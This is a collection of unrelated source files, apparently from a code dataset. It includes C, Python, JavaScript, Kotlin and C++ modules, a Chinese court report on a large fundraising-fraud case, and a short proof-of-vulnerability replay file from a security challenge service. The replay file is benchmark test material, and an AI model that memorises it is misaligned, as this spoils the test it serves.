typedef __int32 int32_t;
typedef __int16 int16_t;
typedef __int8 int8_t;
#define FTDM_O_BINARY O_BINARY
#define FTDM_SIZE_FMT "Id"
#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)
#define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64
#else
#define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL
#endif /* _MSC_VER */
#else /* __WINDOWS__ */
#define FTDM_O_BINARY 0
#define FTDM_SIZE_FMT "zd"
#define FTDM_INVALID_SOCKET -1
typedef int ftdm_socket_t;
#include <stdio.h>
#include <stdint.h>
#include <stdarg.h>
#endif
/*! \brief FreeTDM APIs possible return codes */
typedef enum {
FTDM_SUCCESS, /*!< Success */
FTDM_FAIL, /*!< Failure, generic error return code when no more specific return code can be used */
FTDM_MEMERR, /*!< Allocation failure */
FTDM_ENOMEM = FTDM_MEMERR,
FTDM_TIMEOUT, /*!< Operation timed out (ie: polling on a device)*/
FTDM_ETIMEDOUT = FTDM_TIMEOUT,
FTDM_NOTIMPL, /*!< Operation not implemented */
FTDM_ENOSYS = FTDM_NOTIMPL, /*!< The function is not implemented */
FTDM_BREAK, /*!< Request the caller to perform a break (context-dependant, ie: stop getting DNIS/ANI) */
/*!< Any new return codes should try to mimc unix style error codes, no need to reinvent */
FTDM_EINVAL, /*!< Invalid argument */
FTDM_ECANCELED, /*!< Operation cancelled */
FTDM_EBUSY, /*!< Device busy */
} ftdm_status_t;
/*! \brief FreeTDM bool type. */
typedef enum {
FTDM_FALSE,
FTDM_TRUE
} ftdm_bool_t;
/*! \brief I/O waiting flags */
typedef enum {
FTDM_NO_FLAGS = 0,
FTDM_READ = (1 << 0),
FTDM_WRITE = (1 << 1),
FTDM_EVENTS = (1 << 2)
} ftdm_wait_flag_t;
/*!
* \brief FreeTDM channel.
* This is the basic data structure used to place calls and I/O operations
*/
typedef struct ftdm_channel ftdm_channel_t;
/*!
* \brief FreeTDM span.
* Channel and signaling configuration container.
* This is a logical span structure, a span may ( or may note ) contain channels
* of other physical spans, depending on configuration (freetdm.conf) or if you
* are not using configuration depends on how you call ftdm_span_add_channel
*/
typedef struct ftdm_span ftdm_span_t;
typedef struct ftdm_event ftdm_event_t;
typedef struct ftdm_conf_node ftdm_conf_node_t;
typedef struct ftdm_group ftdm_group_t;
typedef size_t ftdm_size_t;
typedef struct ftdm_sigmsg ftdm_sigmsg_t;
typedef struct ftdm_usrmsg ftdm_usrmsg_t;
typedef struct ftdm_io_interface ftdm_io_interface_t;
typedef struct ftdm_stream_handle ftdm_stream_handle_t;
typedef struct ftdm_queue ftdm_queue_t;
typedef struct ftdm_memory_handler ftdm_memory_handler_t;
#ifdef __cplusplus
} /* extern C */
#endif
#endif
/* For Emacs:
* Local Variables:
* mode:c
* indent-tabs-mode:t
* tab-width:4
* c-basic-offset:4
* End:
* For VIM:
* vim:set softtabstop=4 shiftwidth=4 tabstop=4:
*/
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import csv
import numpy as np
import os
import sys
from observations.util import maybe_download_and_extract
def fars2007(path):
"""US fatal road accident data, 2007 and 2008
Data are included on variables that may be relevant to assessing airbag
and seatbelt effectiveness in preventing fatal injury.
A data frame with 72548 observations on the following 24 variables.
`Obs.`
a numeric vector
`state`
a numeric vector
`casenum`
a numeric vector
`vnum`
a numeric vector
`pnum`
a numeric vector
`lightcond`
a numeric vector
`numfatal`
a numeric vector
`vforms`
a numeric vector
`age`
a numeric vector
`airbag`
a numeric vector
`injury`
a numeric vector
`ptype`
a numeric vector
`restraint`
a numeric vector
`seatpos`
a numeric vector
`sex`
a numeric vector
`body`
a numeric vector
`inimpact`
a numeric vector
`mhevent`
a numeric vector
`vfatcount`
a numeric vector
`numoccs`
a numeric vector
`travspd`
a numeric vector
`make`
a numeric vector
`model`
a numeric vector
`modelyr`
a numeric vector
http://www-fars.nhtsa.dot.gov/Main/index.aspx
Args:
path: str.
Path to directory which either stores file or otherwise file will
be downloaded and extracted there.
Filename is `fars2007.csv`.
Returns:
Tuple of np.ndarray `x_train` with 72548 rows and 24 columns and
dictionary `metadata` of column headers (feature names).
"""
import pandas as pd
path = os.path.expanduser(path)
filename = 'fars2007.csv'
if not os.path.exists(os.path.join(path, filename)):
url = 'http://dustintran.com/data/r/gamclass/fars2007.csv'
maybe_download_and_extract(path, url,
save_file_name='fars2007.csv',
resume=False)
data = pd.read_csv(os.path.join(path, filename), index_col=0,
parse_dates=True)
x_train = data.values
metadata = {'columns': data.columns}
return x_train, metadata
| {
"pile_set_name": "Github"
} |
synopsis: "Sexp-based serialization library and protocol for machine interaction with the Coq proof assistant"
description: "Sexp-based serialization library and protocol for machine interaction with the Coq proof assistant"
name: "coq-serapi"
opam-version: "2.0"
maintainer: "[email protected]"
authors: "Emilio Jesús Gallego Arias"
homepage: "https://github.com/ejgallego/coq-serapi"
bug-reports: "https://github.com/ejgallego/coq-serapi/issues"
dev-repo: "git+https://github.com/ejgallego/coq-serapi.git"
license: "GPL 3"
doc: "https://ejgallego.github.io/coq-serapi/doc"
depends: [
"ocaml" { >= "4.06.0" }
"coq" { >= "8.9.0" & < "8.10" }
"cmdliner" { >= "1.0.0" }
"ocamlfind" { >= "1.8.0" }
"sexplib" { >= "v0.11.0" }
"dune" { build & >= "1.2.0" }
"ppx_import" { build & >= "1.5-3" }
"ppx_deriving" { build & >= "4.2.1" }
"ppx_sexp_conv" { build & >= "v0.11.0" }
]
build: [ "dune" "build" "-p" name "-j" jobs ]
| {
"pile_set_name": "Github"
} |
// Copyright 2015 Joyent, Inc.
module.exports = SSHBuffer;
var assert = require('assert-plus');
function SSHBuffer(opts) {
assert.object(opts, 'options');
if (opts.buffer !== undefined)
assert.buffer(opts.buffer, 'options.buffer');
this._size = opts.buffer ? opts.buffer.length : 1024;
this._buffer = opts.buffer || (new Buffer(this._size));
this._offset = 0;
}
SSHBuffer.prototype.toBuffer = function () {
return (this._buffer.slice(0, this._offset));
};
SSHBuffer.prototype.atEnd = function () {
return (this._offset >= this._buffer.length);
};
SSHBuffer.prototype.remainder = function () {
return (this._buffer.slice(this._offset));
};
SSHBuffer.prototype.skip = function (n) {
this._offset += n;
};
SSHBuffer.prototype.expand = function () {
this._size *= 2;
var buf = new Buffer(this._size);
this._buffer.copy(buf, 0);
this._buffer = buf;
};
SSHBuffer.prototype.readPart = function () {
return ({data: this.readBuffer()});
};
SSHBuffer.prototype.readBuffer = function () {
var len = this._buffer.readUInt32BE(this._offset);
this._offset += 4;
assert.ok(this._offset + len <= this._buffer.length,
'length out of bounds at +0x' + this._offset.toString(16) +
' (data truncated?)');
var buf = this._buffer.slice(this._offset, this._offset + len);
this._offset += len;
return (buf);
};
SSHBuffer.prototype.readString = function () {
return (this.readBuffer().toString());
};
SSHBuffer.prototype.readCString = function () {
var offset = this._offset;
while (offset < this._buffer.length &&
this._buffer[offset] !== 0x00)
offset++;
assert.ok(offset < this._buffer.length, 'c string does not terminate');
var str = this._buffer.slice(this._offset, offset).toString();
this._offset = offset + 1;
return (str);
};
SSHBuffer.prototype.readInt = function () {
var v = this._buffer.readUInt32BE(this._offset);
this._offset += 4;
return (v);
};
SSHBuffer.prototype.readInt64 = function () {
assert.ok(this._offset + 8 < this._buffer.length,
'buffer not long enough to read Int64');
var v = this._buffer.slice(this._offset, this._offset + 8);
this._offset += 8;
return (v);
};
SSHBuffer.prototype.readChar = function () {
var v = this._buffer[this._offset++];
return (v);
};
SSHBuffer.prototype.writeBuffer = function (buf) {
while (this._offset + 4 + buf.length > this._size)
this.expand();
this._buffer.writeUInt32BE(buf.length, this._offset);
this._offset += 4;
buf.copy(this._buffer, this._offset);
this._offset += buf.length;
};
SSHBuffer.prototype.writeString = function (str) {
this.writeBuffer(new Buffer(str, 'utf8'));
};
SSHBuffer.prototype.writeCString = function (str) {
while (this._offset + 1 + str.length > this._size)
this.expand();
this._buffer.write(str, this._offset);
this._offset += str.length;
this._buffer[this._offset++] = 0;
};
SSHBuffer.prototype.writeInt = function (v) {
while (this._offset + 4 > this._size)
this.expand();
this._buffer.writeUInt32BE(v, this._offset);
this._offset += 4;
};
SSHBuffer.prototype.writeInt64 = function (v) {
assert.buffer(v, 'value');
if (v.length > 8) {
var lead = v.slice(0, v.length - 8);
for (var i = 0; i < lead.length; ++i) {
assert.strictEqual(lead[i], 0,
'must fit in 64 bits of precision');
}
v = v.slice(v.length - 8, v.length);
}
while (this._offset + 8 > this._size)
this.expand();
v.copy(this._buffer, this._offset);
this._offset += 8;
};
SSHBuffer.prototype.writeChar = function (v) {
while (this._offset + 1 > this._size)
this.expand();
this._buffer[this._offset++] = v;
};
SSHBuffer.prototype.writePart = function (p) {
this.writeBuffer(p.data);
};
SSHBuffer.prototype.write = function (buf) {
while (this._offset + buf.length > this._size)
this.expand();
buf.copy(this._buffer, this._offset);
this._offset += buf.length;
};
| {
"pile_set_name": "Github"
} |
category:诈骗
title:男子两年非法集资4.7亿元 买2套别墅10余辆豪车
content:记者12日从云南省红河哈尼族彝族自治州中级人民法院获悉,在当地影响极大的白占江集资诈骗案已由红河中院作出一审判决:白占江因非法集资4.7亿余元被判处无期徒刑,其超额返还给3名集资人的2000多万元将予追缴。目前判决已经生效。白占江1986年出生,大学本
记者12日从云南省红河哈尼族彝族自治州中级人民法院获悉,在当地影响极大的白占江集资诈骗案已由红河中院作出一审判决:白占江因非法集资4.7亿余元被判处无期徒刑,其超额返还给3名集资人的2000多万元将予追缴。目前判决已经生效。
白占江1986年出生,大学本科学历。法院审理查明:2010年至2012年间,白占江虚构其经营稀有木材、药材、土产、金属及边境贸易等事实,隐瞒借款用途真相,以承诺给付高额利息的方式,先后向李翔等32人非法募集资金达47193万元人民币,并将大部分资金用以支付借款高额利息和偿还本金以及购买个人房地产、私用高档车辆、生活奢侈品供自己及家人挥霍使用。截至案发,白占江共计超额返还3名集资人2289.98万元;至案发时尚欠另外29名集资人的8146万余元集资款未返还。白占江于2012年12月24日到红河州公安局投案。
据一位受害人称,2012年11月20日,白占江分别向其借款200万元、150万元,并许以高息。两个月之后,就在要还款的时候,白占江失踪,于是自己就报了警。记者了解到,不少人为获取高额利息把钱借给白占江,警方调查其承诺的最高利息曾达月息30%。白占江在当地生活奢华,光是车就有玛莎拉蒂、奔驰等10多辆,还有2套别墅和7个铺面、宾馆及住宅等。
法院认为,白占江以非法占有为目的,虚构从事边境贸易、房地产业等各种事由,以高额利息为诱饵,通过借款、邀约投资等形式非法吸收公众资金,集资后用于生产经营活动的资金与其筹集资金规模明显不成比例,且肆意挥霍集资款用于购买豪车、高档住房等,致使巨额集资款不能返还,其行为已构成集资诈骗罪。但鉴于其自首情节,可以依法对其从轻处罚。据此判决:白占江犯集资诈骗罪,判处无期徒刑,剥夺政治权利终身,并处没收个人全部财产;对超额返还李翔的1654.72万元、刘东升的57.4万元、梁雪峰的577.86万元依法予以追缴;其余涉案财物及违法所得依法予以追缴。白占江在宣判后没有上诉,目前判决已经生效。(王研、戴礼文)
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
<cbid>service</cbid>
<replay>
<write><data>\x00\x0e\x01E\x0bsystem.name</data></write>
<read><length>10</length><match><data>\x00\x08\x03ECGC CB</data></match></read>
</replay>
</pov>
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.systemui.controls.management
import android.content.ComponentName
import android.util.Log
import androidx.recyclerview.widget.ItemTouchHelper
import androidx.recyclerview.widget.RecyclerView
import com.android.systemui.controls.ControlInterface
import com.android.systemui.controls.controller.ControlInfo
import java.util.Collections
/**
* Model used to show and rearrange favorites.
*
* The model will show all the favorite controls and a divider that can be toggled visible/gone.
* It will place the items selected as favorites before the divider and the ones unselected after.
*
* @property componentName used by the [ControlAdapter] to retrieve resources.
* @property favorites list of current favorites
* @property favoritesModelCallback callback to notify on first change and empty favorites
*/
class FavoritesModel(
private val componentName: ComponentName,
favorites: List<ControlInfo>,
private val favoritesModelCallback: FavoritesModelCallback
) : ControlsModel {
companion object {
private const val TAG = "FavoritesModel"
}
private var adapter: RecyclerView.Adapter<*>? = null
private var modified = false
override val moveHelper = object : ControlsModel.MoveHelper {
override fun canMoveBefore(position: Int): Boolean {
return position > 0 && position < dividerPosition
}
override fun canMoveAfter(position: Int): Boolean {
return position >= 0 && position < dividerPosition - 1
}
override fun moveBefore(position: Int) {
if (!canMoveBefore(position)) {
Log.w(TAG, "Cannot move position $position before")
} else {
onMoveItem(position, position - 1)
}
}
override fun moveAfter(position: Int) {
if (!canMoveAfter(position)) {
Log.w(TAG, "Cannot move position $position after")
} else {
onMoveItem(position, position + 1)
}
}
}
override fun attachAdapter(adapter: RecyclerView.Adapter<*>) {
this.adapter = adapter
}
override val favorites: List<ControlInfo>
get() = elements.take(dividerPosition).map {
(it as ControlInfoWrapper).controlInfo
}
override val elements: List<ElementWrapper> = favorites.map {
ControlInfoWrapper(componentName, it, true)
} + DividerWrapper()
/**
* Indicates the position of the divider to determine
*/
private var dividerPosition = elements.size - 1
override fun changeFavoriteStatus(controlId: String, favorite: Boolean) {
val position = elements.indexOfFirst { it is ControlInterface && it.controlId == controlId }
if (position == -1) {
return // controlId not found
}
if (position < dividerPosition && favorite || position > dividerPosition && !favorite) {
return // Does not change favorite status
}
if (favorite) {
onMoveItemInternal(position, dividerPosition)
} else {
onMoveItemInternal(position, elements.size - 1)
}
}
override fun onMoveItem(from: Int, to: Int) {
onMoveItemInternal(from, to)
}
private fun updateDividerNone(oldDividerPosition: Int, show: Boolean) {
(elements[oldDividerPosition] as DividerWrapper).showNone = show
favoritesModelCallback.onNoneChanged(show)
}
private fun updateDividerShow(oldDividerPosition: Int, show: Boolean) {
(elements[oldDividerPosition] as DividerWrapper).showDivider = show
}
/**
* Performs the update in the model.
*
* * update the favorite field of the [ControlInterface]
* * update the fields of the [DividerWrapper]
* * move the corresponding element in [elements]
*
* It may emit the following signals:
* * [RecyclerView.Adapter.notifyItemChanged] if a [ControlInterface.favorite] has changed
* (in the new position) or if the information in [DividerWrapper] has changed (in the
* old position).
* * [RecyclerView.Adapter.notifyItemMoved]
* * [FavoritesModelCallback.onNoneChanged] whenever we go from 1 to 0 favorites and back
* * [ControlsModel.ControlsModelCallback.onFirstChange] upon the first change in the model
*/
private fun onMoveItemInternal(from: Int, to: Int) {
if (from == dividerPosition) return // divider does not move
var changed = false
if (from < dividerPosition && to >= dividerPosition ||
from > dividerPosition && to <= dividerPosition) {
if (from < dividerPosition && to >= dividerPosition) {
// favorite to not favorite
(elements[from] as ControlInfoWrapper).favorite = false
} else if (from > dividerPosition && to <= dividerPosition) {
// not favorite to favorite
(elements[from] as ControlInfoWrapper).favorite = true
}
changed = true
updateDivider(from, to)
}
moveElement(from, to)
adapter?.notifyItemMoved(from, to)
if (changed) {
adapter?.notifyItemChanged(to, Any())
}
if (!modified) {
modified = true
favoritesModelCallback.onFirstChange()
}
}
private fun updateDivider(from: Int, to: Int) {
var dividerChanged = false
val oldDividerPosition = dividerPosition
if (from < dividerPosition && to >= dividerPosition) { // favorite to not favorite
dividerPosition--
if (dividerPosition == 0) {
updateDividerNone(oldDividerPosition, true)
dividerChanged = true
}
if (dividerPosition == elements.size - 2) {
updateDividerShow(oldDividerPosition, true)
dividerChanged = true
}
} else if (from > dividerPosition && to <= dividerPosition) { // not favorite to favorite
dividerPosition++
if (dividerPosition == 1) {
updateDividerNone(oldDividerPosition, false)
dividerChanged = true
}
if (dividerPosition == elements.size - 1) {
updateDividerShow(oldDividerPosition, false)
dividerChanged = true
}
}
if (dividerChanged) {
adapter?.notifyItemChanged(oldDividerPosition)
}
}
private fun moveElement(from: Int, to: Int) {
if (from < to) {
for (i in from until to) {
Collections.swap(elements, i, i + 1)
}
} else {
for (i in from downTo to + 1) {
Collections.swap(elements, i, i - 1)
}
}
}
/**
* Touch helper to facilitate dragging in the [RecyclerView].
*
* Only views above the divider line (favorites) can be dragged or accept drops.
*/
val itemTouchHelperCallback = object : ItemTouchHelper.SimpleCallback(0, 0) {
private val MOVEMENT = ItemTouchHelper.UP or
ItemTouchHelper.DOWN or
ItemTouchHelper.LEFT or
ItemTouchHelper.RIGHT
override fun onMove(
recyclerView: RecyclerView,
viewHolder: RecyclerView.ViewHolder,
target: RecyclerView.ViewHolder
): Boolean {
onMoveItem(viewHolder.adapterPosition, target.adapterPosition)
return true
}
override fun getMovementFlags(
recyclerView: RecyclerView,
viewHolder: RecyclerView.ViewHolder
): Int {
if (viewHolder.adapterPosition < dividerPosition) {
return ItemTouchHelper.Callback.makeMovementFlags(MOVEMENT, 0)
} else {
return ItemTouchHelper.Callback.makeMovementFlags(0, 0)
}
}
override fun canDropOver(
recyclerView: RecyclerView,
current: RecyclerView.ViewHolder,
target: RecyclerView.ViewHolder
): Boolean {
return target.adapterPosition < dividerPosition
}
override fun onSwiped(viewHolder: RecyclerView.ViewHolder, direction: Int) {}
override fun isItemViewSwipeEnabled() = false
}
interface FavoritesModelCallback : ControlsModel.ControlsModelCallback {
fun onNoneChanged(showNoFavorites: Boolean)
}
} | {
"pile_set_name": "Github"
} |
//// symbol bindings
// Dynamic scopes are for rebinding global variables, and for undoing bindings.
map<cell*, stack<cell*> > Dynamics;
// The current lexical scope is a first-class dynamic variable, usually bound
// to a table of bindings.
//
// Entering lexical scopes modifies the current dynamic binding of
// Curr_lexical_scope; calling functions creates new dynamic bindings
// to Curr_lexical_scope
cell* CURR_LEXICAL_SCOPE;
#define Curr_lexical_scopes Dynamics[CURR_LEXICAL_SCOPE]
#define Curr_lexical_scope Curr_lexical_scopes.top()
cell* lookup(string s) {
return lookup(new_sym(s));
}
// keep_already_evald is for supporting @args in macro calls
cell* lookup(cell* sym, cell* scope, bool keep_already_evald) {
trace("already_evald") << "lookup " << sym << " " << keep_already_evald;
cell* result = lookup_lexical_binding(sym, scope);
if (result) return maybe_strip_already_evald(keep_already_evald, result);
result = lookup_dynamic_binding(sym);
if (result) return maybe_strip_already_evald(keep_already_evald, result);
RAISE << "No binding for " << to_string(sym) << '\n';
return nil;
}
cell* lookup(cell* sym) {
return lookup(sym, Curr_lexical_scope);
}
cell* lookup(cell* sym, cell* scope) {
return lookup(sym, scope, false);
}
//// dynamic scope
cell* lookup_dynamic_binding(cell* sym) {
stack<cell*>& bindings = Dynamics[sym];
if (bindings.empty()) return NULL;
return bindings.top();
}
void new_dynamic_scope(cell* sym, cell* val) {
trace("bind") << sym << ": " << val;
mkref(sym);
mkref(val);
Dynamics[sym].push(val);
}
void new_dynamic_scope(string s, cell* val) {
new_dynamic_scope(new_sym(s), val);
}
void end_dynamic_scope(cell* sym) {
stack<cell*>& bindings = Dynamics[sym];
if (bindings.empty()) {
RAISE << "No dynamic binding for " << sym << '\n';
return;
}
trace("unbind") << sym;
rmref(sym);
rmref(bindings.top());
bindings.pop();
}
void end_dynamic_scope(string s) {
end_dynamic_scope(new_sym(s));
}
void assign_dynamic_var(cell* sym, cell* val) {
stack<cell*>& bindings = Dynamics[sym];
if (bindings.empty()) {
RAISE << "No dynamic binding to assign for " << sym << '\n';
new_dynamic_scope(sym, val);
return;
}
rmref(bindings.top());
bindings.pop();
mkref(val);
bindings.push(val);
}
//// lexical scope -- a table, except that nils are not deleted
cell* lookup_lexical_binding(cell* sym, cell* scope) {
cell* result = NULL;
for (; scope != nil; scope = cdr(scope)) {
if (is_table(scope))
result = unsafe_get(scope, sym);
if (result) return result;
}
return NULL;
}
cell* scope_containing_binding(cell* sym, cell* scope) {
for (; scope != nil; scope = cdr(scope)) {
if (is_table(scope) && unsafe_get(scope, sym))
return scope;
}
if (lookup_dynamic_binding(sym))
return nil;
return NULL;
}
void new_lexical_scope() {
cell* new_scope = new_table();
set_cdr(new_scope, Curr_lexical_scope);
new_dynamic_scope(CURR_LEXICAL_SCOPE, new_scope);
}
void end_lexical_scope() {
if (Curr_lexical_scope == nil)
RAISE << "No lexical scope to end\n" << die();
end_dynamic_scope(CURR_LEXICAL_SCOPE);
}
void add_lexical_scope(cell* new_scope) {
set_cdr(new_scope, Curr_lexical_scope);
new_dynamic_scope(CURR_LEXICAL_SCOPE, new_scope);
}
void add_lexical_binding(cell* sym, cell* val, cell* scope) {
if (unsafe_get(scope, sym))
RAISE << "Can't rebind within a lexical scope\n" << die();
trace("bind") << sym << ": " << val;
unsafe_put(scope, sym, val, false); // deleting nil might expose a shadowed binding
}
void add_lexical_binding(cell* sym, cell* val) {
add_lexical_binding(sym, val, Curr_lexical_scope);
}
void add_lexical_binding(string var, cell* val, cell* scope) {
add_lexical_binding(new_sym(var), val, scope);
}
void add_lexical_binding(string var, cell* val) {
add_lexical_binding(new_sym(var), val);
}
//// internals
void setup_scopes() {
Dynamics.clear(); // leaks memory for strings and tables
CURR_LEXICAL_SCOPE = new_sym("Curr_lexical_scope");
new_dynamic_scope(CURR_LEXICAL_SCOPE, nil);
}
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 07a74e84ffb2147439bb3133cce9aeb8
folderAsset: yes
timeCreated: 1484954616
licenseType: Free
DefaultImporter:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
//
// Copyright 2019 Pixar
//
// Licensed under the Apache License, Version 2.0 (the "Apache License")
// with the following modification; you may not use this file except in
// compliance with the Apache License and the following modification to it:
// Section 6. Trademarks. is deleted and replaced with:
//
// 6. Trademarks. This License does not grant permission to use the trade
// names, trademarks, service marks, or product names of the Licensor
// and its affiliates, except as required to comply with Section 4(c) of
// the License and to reproduce the content of the NOTICE file.
//
// You may obtain a copy of the Apache License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the Apache License with the above modification is
// distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the Apache License for the specific
// language governing permissions and limitations under the Apache License.
//
#include "pxr/imaging/glf/glew.h"
#include "pxr/imaging/glf/contextCaps.h"
#include "pxr/imaging/hdx/oitResolveTask.h"
#include "pxr/imaging/hdx/tokens.h"
#include "pxr/imaging/hdx/debugCodes.h"
#include "pxr/imaging/hdx/package.h"
#include "pxr/imaging/hd/perfLog.h"
#include "pxr/imaging/hd/renderBuffer.h"
#include "pxr/imaging/hd/renderDelegate.h"
#include "pxr/imaging/hd/renderIndex.h"
#include "pxr/imaging/hd/renderPass.h"
#include "pxr/imaging/hd/renderPassState.h"
#include "pxr/imaging/hd/rprimCollection.h"
#include "pxr/imaging/hd/sceneDelegate.h"
#include "pxr/imaging/hd/vtBufferSource.h"
#include "pxr/imaging/hdSt/renderPassShader.h"
#include "pxr/imaging/hdSt/renderPassState.h"
#include "pxr/imaging/hdSt/renderDelegate.h"
#include "pxr/imaging/hdSt/resourceRegistry.h"
#include "pxr/imaging/hdSt/imageShaderRenderPass.h"
#include "pxr/imaging/hdx/oitBufferAccessor.h"
PXR_NAMESPACE_OPEN_SCOPE
typedef std::vector<HdBufferSourceSharedPtr> HdBufferSourceSharedPtrVector;
HdxOitResolveTask::HdxOitResolveTask(
HdSceneDelegate* delegate,
SdfPath const& id)
: HdTask(id)
, _screenSize(0)
{
}
HdxOitResolveTask::~HdxOitResolveTask()
{
}
void
HdxOitResolveTask::Sync(
HdSceneDelegate* delegate,
HdTaskContext* ctx,
HdDirtyBits* dirtyBits)
{
HD_TRACE_FUNCTION();
*dirtyBits = HdChangeTracker::Clean;
}
void
HdxOitResolveTask::_PrepareOitBuffers(
HdTaskContext* ctx,
HdRenderIndex* renderIndex,
GfVec2i const& screenSize)
{
static const int numSamples = 8; // Should match glslfx files
HdStResourceRegistrySharedPtr const& hdStResourceRegistry =
std::static_pointer_cast<HdStResourceRegistry>(
renderIndex->GetResourceRegistry());
const bool createOitBuffers = !_counterBar;
if (createOitBuffers) {
//
// Counter Buffer
//
HdBufferSpecVector counterSpecs;
counterSpecs.push_back(HdBufferSpec(
HdxTokens->hdxOitCounterBuffer,
HdTupleType {HdTypeInt32, 1}));
_counterBar = hdStResourceRegistry->AllocateSingleBufferArrayRange(
/*role*/HdxTokens->oitCounter,
counterSpecs,
HdBufferArrayUsageHint());
//
// Index Buffer
//
HdBufferSpecVector indexSpecs;
indexSpecs.push_back(HdBufferSpec(
HdxTokens->hdxOitIndexBuffer,
HdTupleType {HdTypeInt32, 1}));
_indexBar = hdStResourceRegistry->AllocateSingleBufferArrayRange(
/*role*/HdxTokens->oitIndices,
indexSpecs,
HdBufferArrayUsageHint());
//
// Data Buffer
//
HdBufferSpecVector dataSpecs;
dataSpecs.push_back(HdBufferSpec(
HdxTokens->hdxOitDataBuffer,
HdTupleType {HdTypeFloatVec4, 1}));
_dataBar = hdStResourceRegistry->AllocateSingleBufferArrayRange(
/*role*/HdxTokens->oitData,
dataSpecs,
HdBufferArrayUsageHint());
//
// Depth Buffer
//
HdBufferSpecVector depthSpecs;
depthSpecs.push_back(HdBufferSpec(
HdxTokens->hdxOitDepthBuffer,
HdTupleType {HdTypeFloat, 1}));
_depthBar = hdStResourceRegistry->AllocateSingleBufferArrayRange(
/*role*/HdxTokens->oitDepth,
depthSpecs,
HdBufferArrayUsageHint());
//
// Uniforms
//
HdBufferSpecVector uniformSpecs;
uniformSpecs.push_back( HdBufferSpec(
HdxTokens->oitScreenSize,HdTupleType{HdTypeInt32Vec2, 1}));
_uniformBar = hdStResourceRegistry->AllocateUniformBufferArrayRange(
/*role*/HdxTokens->oitUniforms,
uniformSpecs,
HdBufferArrayUsageHint());
}
// Make sure task context has our buffer each frame (in case its cleared)
(*ctx)[HdxTokens->oitCounterBufferBar] = _counterBar;
(*ctx)[HdxTokens->oitIndexBufferBar] = _indexBar;
(*ctx)[HdxTokens->oitDataBufferBar] = _dataBar;
(*ctx)[HdxTokens->oitDepthBufferBar] = _depthBar;
(*ctx)[HdxTokens->oitUniformBar] = _uniformBar;
// The OIT buffer are sized based on the size of the screen and use
// fragCoord to index into the buffers.
// We must update uniform screenSize when either X or Y increases in size.
const bool resizeOitBuffers = (screenSize[0] > _screenSize[0] ||
screenSize[1] > _screenSize[1]);
if (resizeOitBuffers) {
_screenSize = screenSize;
const int newBufferSize = screenSize[0] * screenSize[1];
// +1 because element 0 of the counter buffer is used as an atomic
// counter in the shader to give each fragment a unique index.
_counterBar->Resize(newBufferSize + 1);
_indexBar->Resize(newBufferSize * numSamples);
_dataBar->Resize(newBufferSize * numSamples);
_depthBar->Resize(newBufferSize * numSamples);
// Update the values in the uniform buffer
hdStResourceRegistry->AddSource(
_uniformBar,
std::make_shared<HdVtBufferSource>(
HdxTokens->oitScreenSize,
VtValue(screenSize)));
}
}
void
HdxOitResolveTask::_PrepareAovBindings(HdTaskContext* ctx,
HdRenderIndex* renderIndex)
{
HdRenderPassAovBindingVector aovBindings;
auto aovIt = ctx->find(HdxTokens->aovBindings);
if (aovIt != ctx->end()) {
const VtValue& vtAov = aovIt->second;
if (vtAov.IsHolding<HdRenderPassAovBindingVector>()) {
aovBindings = vtAov.UncheckedGet<HdRenderPassAovBindingVector>();
}
}
// OIT should not clear the AOVs.
for (size_t i = 0; i < aovBindings.size(); ++i) {
aovBindings[i].clearValue = VtValue();
}
_renderPassState->SetAovBindings(aovBindings);
}
void
HdxOitResolveTask::Prepare(HdTaskContext* ctx,
HdRenderIndex* renderIndex)
{
// Only allocate/resize buffer if a render task requested it.
if (ctx->find(HdxTokens->oitRequestFlag) == ctx->end()) {
// Deallocate buffers here?
return;
}
// The HdTaskContext might not be cleared between two engine execute
// iterations, so we explicitly delete the cleared flag here so that the
// execute of the first oit render task will clear the buffer in this
// iteration.
ctx->erase(HdxTokens->oitClearedFlag);
if (!_renderPass) {
HdRprimCollection collection;
HdRenderDelegate* renderDelegate = renderIndex->GetRenderDelegate();
if (!TF_VERIFY(dynamic_cast<HdStRenderDelegate*>(renderDelegate),
"OIT Task only works with HdSt")) {
return;
}
_renderPass = std::make_shared<HdSt_ImageShaderRenderPass>(
renderIndex, collection);
// We do not use renderDelegate->CreateRenderPassState because
// ImageShaders always use HdSt
_renderPassState = std::make_shared<HdStRenderPassState>();
_renderPassState->SetEnableDepthMask(false);
_renderPassState->SetColorMask(HdRenderPassState::ColorMaskRGBA);
_renderPassState->SetBlendEnabled(true);
_renderPassState->SetBlend(
HdBlendOp::HdBlendOpAdd,
HdBlendFactor::HdBlendFactorOne,
HdBlendFactor::HdBlendFactorOneMinusSrcAlpha,
HdBlendOp::HdBlendOpAdd,
HdBlendFactor::HdBlendFactorOne,
HdBlendFactor::HdBlendFactorOne);
_renderPassShader = std::make_shared<HdStRenderPassShader>(
HdxPackageOitResolveImageShader());
_renderPassState->SetRenderPassShader(_renderPassShader);
// We want OIT to resolve into the resolved aov, not the multi sample
// aov. See HdxTaskController::GetRenderingTasks().
_renderPassState->SetUseAovMultiSample(false);
_renderPass->Prepare(GetRenderTags());
}
// XXX Fragile AOVs dependency. We expect RenderSetupTask::Prepare
// to have resolved aob.renderBuffers and then push the AOV bindings onto
// the SharedContext before we attempt to use those AOVs.
_PrepareAovBindings(ctx, renderIndex);
// If we have Aov buffers, resize Oit based on its dimensions.
GfVec2i screenSize;
